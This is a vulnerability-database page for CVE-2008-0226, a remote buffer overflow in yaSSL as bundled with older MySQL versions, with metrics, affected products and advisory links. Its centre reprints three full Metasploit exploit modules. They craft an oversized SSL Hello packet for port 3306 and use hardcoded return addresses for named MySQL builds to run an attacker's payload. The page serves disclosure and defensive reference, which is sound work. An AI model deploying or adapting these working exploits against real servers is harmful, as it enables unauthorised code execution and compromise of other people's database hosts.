>" in yassl_imp.cpp.">

CVE-2008-0226 : Detail

CVE-2008-0226

Overflow
97.38%V3
Network
2008-01-10
22h00 +00:00
2018-10-15
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple buffer overflows in yaSSL 1.7.5 and earlier, as used in MySQL and possibly other products, allow remote attackers to execute arbitrary code via (1) the ProcessOldClientHello function in handshake.cpp or (2) "input_buffer& operator>>" in yassl_imp.cpp.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9953

Publication date : 2008-01-03 23h00 +00:00
Author : MC
EDB Verified : Yes

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in the yaSSL (1.7.5 and earlier) implementation bundled with MySQL <= 6.0. By sending a specially crafted Hello packet, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2008-0226' ], [ 'OSVDB', '41195' ], [ 'BID', '27140' ], ], 'Privileged' => false, 'Payload' => { 'Space' => 100, 'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c", }, 'Platform' => 'linux', 'Targets' => [ [ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 4 2008')) register_options([ Opt::RPORT(3306)], self.class) end def exploit connect sock.get_once req_uno = [0x01000020].pack('V') req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V') req_dos << [0x00000008].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x03010000].pack('V') + [0x00000001].pack('V') req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965) req_dos << [target.ret].pack('V') + payload.encoded req_dos << rand_text_alphanumeric(1024) print_status("Trying target #{target.name}...") sock.put(req_uno) sock.put(req_dos) handler disconnect end end
Exploit Database EDB-ID : 16849

Publication date : 2010-05-08 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: mysql_yassl_hello.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier) implementation bundled with MySQL <= 6.0. By sending a specially crafted Hello packet, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2008-0226' ], [ 'OSVDB', '41195' ], [ 'BID', '27140' ], ], 'Privileged' => false, 'Payload' => { 'Space' => 100, 'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c", }, 'Platform' => 'linux', 'Targets' => [ [ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 4 2008')) register_options( [ Opt::RPORT(3306) ], self.class) end def exploit connect sock.get_once req_uno = [0x01000020].pack('V') req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V') req_dos << [0x00000008].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x03010000].pack('V') + [0x00000001].pack('V') req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965) req_dos << [target.ret].pack('V') + payload.encoded req_dos << rand_text_alphanumeric(1024) print_status("Trying target #{target.name}...") sock.put(req_uno) sock.put(req_dos) handler disconnect end end
Exploit Database EDB-ID : 16701

Publication date : 2010-05-08 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: mysql_yassl_hello.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier) implementation bundled with MySQL <= 6.0. By sending a specially crafted Hello packet, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2008-0226' ], [ 'OSVDB', '41195'], [ 'BID', '27140' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets' => [ [ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ], [ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 4 2008')) register_options([ Opt::RPORT(3306) ], self) end def exploit connect sock.get_once req_uno = [0x01000020].pack('V') req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V') req_dos << [0x00000008].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x03010000].pack('V') + [0x00000001].pack('V') req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length) req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V') req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024) print_status("Trying target #{target.name}...") sock.put(req_uno) sock.put(req_dos) handler disconnect end end

Products Mentioned

Configuraton 0

Yassl>>Yassl >> Version To (including) 1.7.5

    Configuraton 0

    Mysql>>Mysql >> Version 5.0.0

    Mysql>>Mysql >> Version 5.0.1

    Mysql>>Mysql >> Version 5.0.2

    Mysql>>Mysql >> Version 5.0.3

    Mysql>>Mysql >> Version 5.0.4

    Mysql>>Mysql >> Version 5.0.5

    Mysql>>Mysql >> Version 5.0.10

    Mysql>>Mysql >> Version 5.0.15

    Mysql>>Mysql >> Version 5.0.16

    Mysql>>Mysql >> Version 5.0.17

    Mysql>>Mysql >> Version 5.0.20

    Mysql>>Mysql >> Version 5.0.24

    Mysql>>Mysql >> Version 5.0.30

    Mysql>>Mysql >> Version 5.0.36

    Mysql>>Mysql >> Version 5.0.44

    Mysql>>Mysql >> Version 5.0.54

    Mysql>>Mysql >> Version 5.0.56

    Mysql>>Mysql >> Version 5.0.60

    Mysql>>Mysql >> Version 5.0.66

    Mysql>>Mysql >> Version 5.1.5

    Oracle>>Mysql >> Version 5.0.23

    Oracle>>Mysql >> Version 5.0.25

    Oracle>>Mysql >> Version 5.0.26

    Oracle>>Mysql >> Version 5.0.28

    Oracle>>Mysql >> Version 5.0.30

    Oracle>>Mysql >> Version 5.0.32

    Oracle>>Mysql >> Version 5.0.34

    Oracle>>Mysql >> Version 5.0.36

    Oracle>>Mysql >> Version 5.0.38

    Oracle>>Mysql >> Version 5.0.40

    Oracle>>Mysql >> Version 5.0.41

    Oracle>>Mysql >> Version 5.0.42

    Oracle>>Mysql >> Version 5.0.44

    Oracle>>Mysql >> Version 5.0.45

    Oracle>>Mysql >> Version 5.0.46

    Oracle>>Mysql >> Version 5.0.48

    Oracle>>Mysql >> Version 5.0.50

    Oracle>>Mysql >> Version 5.0.50

    Oracle>>Mysql >> Version 5.0.51

    Oracle>>Mysql >> Version 5.0.52

    Oracle>>Mysql >> Version 5.0.56

    Oracle>>Mysql >> Version 5.0.58

    Oracle>>Mysql >> Version 5.0.60

    Oracle>>Mysql >> Version 5.0.62

    Oracle>>Mysql >> Version 5.0.64

    Oracle>>Mysql >> Version 5.0.66

    Oracle>>Mysql >> Version 5.1

    Oracle>>Mysql >> Version 5.1.1

    Oracle>>Mysql >> Version 5.1.2

    Oracle>>Mysql >> Version 5.1.3

    Oracle>>Mysql >> Version 5.1.4

    Oracle>>Mysql >> Version 5.1.6

    Oracle>>Mysql >> Version 5.1.7

    Oracle>>Mysql >> Version 5.1.8

    Oracle>>Mysql >> Version 5.1.9

    Oracle>>Mysql >> Version 5.1.10

    Oracle>>Mysql >> Version 5.1.11

    Oracle>>Mysql >> Version 5.1.12

    Oracle>>Mysql >> Version 5.1.13

    Oracle>>Mysql >> Version 5.1.14

    Oracle>>Mysql >> Version 5.1.15

    Oracle>>Mysql >> Version 5.1.16

    Oracle>>Mysql >> Version 5.1.17

    Oracle>>Mysql >> Version 5.1.18

    Oracle>>Mysql >> Version 5.1.19

    Oracle>>Mysql >> Version 5.1.20

    Oracle>>Mysql >> Version 5.1.21

    Oracle>>Mysql >> Version 5.1.22

    Configuraton 0

    Apple>>Mac_os_x >> Version 10.5.4

    Configuraton 0

    Debian>>Debian_linux >> Version 5.0

    Configuraton 0

    Canonical>>Ubuntu_linux >> Version 6.06

    Canonical>>Ubuntu_linux >> Version 6.10

    Canonical>>Ubuntu_linux >> Version 7.04

    Canonical>>Ubuntu_linux >> Version 7.10

    References

    http://www.debian.org/security/2008/dsa-1478
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://secunia.com/advisories/29443
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://secunia.com/advisories/28324
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://securityreason.com/securityalert/3531
    Tags : third-party-advisory, x_refsource_SREASON
    http://www.securityfocus.com/bid/31681
    Tags : vdb-entry, x_refsource_BID
    http://bugs.mysql.com/33814
    Tags : x_refsource_CONFIRM
    http://www.securityfocus.com/bid/27140
    Tags : vdb-entry, x_refsource_BID
    http://secunia.com/advisories/28597
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://secunia.com/advisories/32222
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://secunia.com/advisories/28419
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.vupen.com/english/advisories/2008/2780
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.ubuntu.com/usn/usn-588-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.mandriva.com/security/advisories?name=MDVSA-2008:150
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://support.apple.com/kb/HT3216
    Tags : x_refsource_CONFIRM